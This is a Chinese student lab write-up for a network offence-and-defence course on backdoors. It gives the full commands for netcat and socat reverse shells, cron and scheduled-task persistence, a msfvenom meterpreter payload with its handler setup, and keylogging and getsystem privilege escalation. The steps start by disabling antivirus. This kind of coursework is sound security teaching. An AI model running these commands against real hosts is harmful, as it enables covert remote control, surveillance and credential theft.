2018-2019-2 《網絡對抗技術》Exp2 後門原理與應用 20165210

實驗內容：

1. 使用netcat獲取主機操作Shell，cron啟動。
2. 使用Socat獲取主機操作Shell，任務計劃啟動
3. 使用MSF meterpreter（或其他軟件）生成可執行文件，利用ncat或socat傳送到主機並運行獲取主機Shell
4. 使用MSF meterpreter（或其他軟件）生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容，並嘗試提權
5. 可選加分內容：使用MSF生成shellcode,註入到實踐1中的pwn1中，獲取反彈連接Shell

基礎問題回答：

1.例舉你能想到的一個後門進入到你系統中的可能方式？

• 你下載文件和軟件時，可能就把後門帶來進來
• 一些可移動設備，比如U盤硬盤什麽的，我記得我曾在網上看過就是U盤進入後再次啟動電腦會留有後門，這個後門就會自動下載垃圾軟件不會被察覺
• 訪問一些病毒網站，雖然退出了網頁，但是有可能還留有後門

2.例舉你知道的後門如何啟動起來(win及linux)的方式？

• linux中可以通過cron來定時啟動
• win中可能會通過病毒來啟動後門
• 添加啟動項，修改默認的Shell程序，添加用戶的初始化程序，添加應用程序初始化動態鏈接庫，添加到啟動組
• 安裝自己的服務和驅動程序，修改原有的服務和驅動的配置，替換原有的服務和驅動的程序文件，感染原有的服務和驅動的程序文件

3.Meterpreter有哪些給你映像深刻的功能？

• 簡直太nb了，很有趣，留下後門，可以錄音，可以錄像，這簡直就是黑客呀，真的太強了，但同時覺得自己的電腦不是很安全，會被人監聽。

4.如何發現自己有系統有沒有被安裝後門？
殺毒軟件防火墻，會自動殺掉，就像實驗中的20165210.exe文件，我一開始沒關那個防火墻，一放到主機就被殺掉了。

實驗過程：

準備工作：

打開win10主機，kali虛擬機，分別輸入ipconfig和ifconfig得到兩個機子的IP地址（192.168.199.208、192.168.16.132）
關閉殺毒軟件和防火墻（很重要！！！！）
然後兩個機子都要有netcat和socat文件

雙方互相獲取對方的Shell

首先是Windows：先進入cmd，在netcat文件下輸入命令

ncat.exe -l -p 5210

開啟監聽，5210為監聽端口號
另一端在命令行輸入

nc 192.168.199.208 5210 -e /bin/sh

反彈連接，此時Windows獲得了linux Shell如圖

接下來是Linux：操作類似，先在虛擬機命令行上輸入

nc -l -p 5210

Windows反彈連接，在命令行輸入指令

ncat.exe -e cmd.exe 192.168.16.132 5210

這樣Linux就獲得了Windows的控制權如圖

使用netcat傳輸數據

在Windows的命令行輸入命令

ncat.exe -l 5210

對5210端口進行監聽，在Linux命令行裏輸入

ncat 192.168.199.208 5210

連接到5210端口，並傳輸一些數據，然後就可以在Windows中看到傳輸的數據了如圖

cron啟動

在Windows下，命令行輸入ncat.exe -i -p 5210,監聽5210端口
在Linux下，輸入

crontab -e

打開crontab，然後選擇第三個，i編輯，在最後一行加上

06 * * * /bin/netcat 192.168.199.208 5210 -e /bin/sh

我當時的時間是04所以我選了06，就是在每小時的06分運行此命令如圖

到06分後就可以看到已經獲取了Linux的Shell如圖

使用Socat獲取主機操作Shell，任務計劃啟動

打開Windows的計算機管理任務，點擊任務計劃程序，創建任務如圖

新建觸發器，選擇工作站鎖定所有用戶如圖

在操作中，將選擇程序腳本路徑，參數一欄填

tcp-listen:5210 exec:cmd.exe,pty,stderr

完成創建右鍵點擊運行，然後在kali裏輸入

socat - tcp：192.168.199.208：5210

獲取Windows的Shell如圖

使用MSF meterpreter生成可執行文件，利用ncat或socat傳送到主機並運行獲取主機Shell

首先先生成一個後門:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.16.132 LPORT=5325 -f exe > 20165210.exe

將生成的文件放到Windows（我直接拖到了Windows桌面）然後kali這面直接輸入命令msfconsole啟動。如圖

進入了msf控制臺，輸入

use exploit/multi/handler

啟用監聽，然後輸入

set payload windows/meterpreter/reverse_tcp

設置payload，然後輸入

set LHOST 192.168.16.132

最後輸入

set LPORT 5210

設置端口號，然後exploit開始監聽

在Windows中運行後門

使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容，並嘗試提權

獲取目標主機的音頻和獲取目標主機的攝像頭如圖

還有一些比如通過命令

keyscan_start

記錄下擊鍵的過程

keyscan_dump

讀取擊鍵的記錄等
還可以使用

getuid

查看當前用戶，使用

getsystem

進行提權

實驗中的問題、體會和收獲

1. 一開始沒有關閉防火墻導致20165210.exe後門文件一出來就被殺掉了
2. 在做使用socat獲取主機操作Shell任務計劃啟動時，創建的任務運行不了，一直是在準備就緒中，一開始以為可能在kali裏輸入命令可能它就跳轉運行了，但是並沒有成功，然後去向大佬請教，然後就是重啟了計算機發現就可以運行了
3. 就是在啟動msfconsole之後，在輸入set LHOST時輸入了Windows的ip地址，後來改正了才知道LHOST就是local host攻擊方的IP地址，後來一想其實很好理解，反彈Shell嘛，就是建立反彈連接的，當然是反彈到攻擊機了。
4. 這個第二次實驗真的十分有趣，尤其是做到第四個內容，然後我又在網上找到了一篇博客，裏面有Meterpreter指令詳解有時間可以看一下學藝多一些的指令感覺很好玩
5. 有個問題就是meterpreter在獲取shell之後，如何持續控制目標主機，就是在目標主機重啟或下次開機後能自動連接到攻擊機上。

# 2018-2019-2 《網絡對抗技術》Exp2 後門原理與應用 20165210